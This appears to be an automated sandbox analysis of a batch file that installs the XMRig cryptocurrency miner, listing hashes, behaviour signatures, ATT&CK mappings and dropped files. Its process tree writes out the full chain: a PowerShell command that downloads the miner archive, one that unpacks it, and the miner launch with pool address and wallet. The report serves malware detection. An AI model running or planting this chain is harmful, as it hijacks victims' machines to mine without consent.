xmrig | c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
316s
max time network
1791s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
20-05-2024 20:53

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General

Target

1.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

xmrig execution miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe	family_xmrig
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

2 3028 powershell.exe
4 3028 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

xmrig.exe

pid process

1780 xmrig.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

3028 powershell.exe
3384 powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

3028 powershell.exe
3028 powershell.exe
3028 powershell.exe
3384 powershell.exe
3384 powershell.exe
3384 powershell.exe

flow	pid	process
2	3028	powershell.exe
4	3028	powershell.exe

pid	process
1780	xmrig.exe

pid	process
3028	powershell.exe
3384	powershell.exe

pid	process
3028	powershell.exe
3028	powershell.exe
3028	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exexmrig.exe

description	pid	process
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	3384	powershell.exe
Token: SeLockMemoryPrivilege	1780	xmrig.exe
Token: SeLockMemoryPrivilege	1780	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

xmrig.exe

pid process

1780 xmrig.exe

pid	process
1780	xmrig.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 588 wrote to memory of 3028	588	cmd.exe	powershell.exe
PID 588 wrote to memory of 3028	588	cmd.exe	powershell.exe
PID 588 wrote to memory of 3384	588	cmd.exe	powershell.exe
PID 588 wrote to memory of 3384	588	cmd.exe	powershell.exe
PID 588 wrote to memory of 1780	588	cmd.exe	xmrig.exe
PID 588 wrote to memory of 1780	588	cmd.exe	xmrig.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:588

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3384

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
56efdb5a0f10b5eece165de4f8c9d799

SHA1
fa5de7ca343b018c3bfeab692545eb544c244e16

SHA256
6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

SHA512
91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1c13dd6d305ebb42255b5a18ab5993f7

SHA1
a3b0fc331de0a478ebbff869e73bf38ad68d34dd

SHA256
89046e3cb34f0e2bb8c56478403875eb5301c6e2ad16e5ea5a1e48aff9e73b05

SHA512
219c986318c21489c40a22c5125b8a11b61c5abdb1d2445c9c4f34ca6ae4419f766c288f2dc8b474159ffebf00c1c864025c32a6cee80583d26d9a0a24a53963

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hov5yzwy.2jy.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

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C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3-msvc-win64.zip

Filesize
2.5MB

MD5
cef0ae1ab544e40b659261a4e07fe48f

SHA1
e5ff855ce3c7726a50eb50a634ff9f406b3df093

SHA256
713263085499ae626a6148fab67932c9a69611b21ac3d04cf52a5e23495f902e

SHA512
1fb23b385e6cff3653f0b4b397d092c7be4df62899c97e18f675df2024e5f06ef2596fb626b85ae2ef7d7583c5bf54b00dba1a5ad566c2707a669a48d9814ba8

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C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

Filesize
6.1MB

MD5
c0f8959614ae06561216158d78a787e5

SHA1
73167d1fd0cee1c96a6505606d21cbfe4369eb00

SHA256
e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0

SHA512
a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746

Download Submit
memory/1780-117-0x0000019C34920000-0x0000019C34940000-memory.dmp

Filesize
128KB

Download
memory/3028-9-0x000002C2550A0000-0x000002C255116000-memory.dmp

Filesize
472KB

Download
memory/3028-30-0x00007FFE32140000-0x00007FFE32B2C000-memory.dmp

Filesize
9.9MB

Download
memory/3028-25-0x00007FFE32140000-0x00007FFE32B2C000-memory.dmp

Filesize
9.9MB

Download
memory/3028-10-0x00007FFE32140000-0x00007FFE32B2C000-memory.dmp

Filesize
9.9MB

Download
memory/3028-0-0x00007FFE32143000-0x00007FFE32144000-memory.dmp

Filesize
4KB

Download
memory/3028-6-0x00007FFE32140000-0x00007FFE32B2C000-memory.dmp

Filesize
9.9MB

Download
memory/3028-5-0x000002C254F70000-0x000002C254F92000-memory.dmp

Filesize
136KB

Download
memory/3384-37-0x00007FFE32140000-0x00007FFE32B2C000-memory.dmp

Filesize
9.9MB

Download
memory/3384-63-0x00007FFE32140000-0x00007FFE32B2C000-memory.dmp

Filesize
9.9MB

Download
memory/3384-89-0x000001FFECB10000-0x000001FFECB1A000-memory.dmp

Filesize
40KB

Download
memory/3384-76-0x000001FFECB30000-0x000001FFECB42000-memory.dmp

Filesize
72KB

Download
memory/3384-113-0x00007FFE32140000-0x00007FFE32B2C000-memory.dmp

Filesize
9.9MB

Download
memory/3384-38-0x00007FFE32140000-0x00007FFE32B2C000-memory.dmp

Filesize
9.9MB

Download
memory/3384-36-0x00007FFE32140000-0x00007FFE32B2C000-memory.dmp

Filesize
9.9MB

Download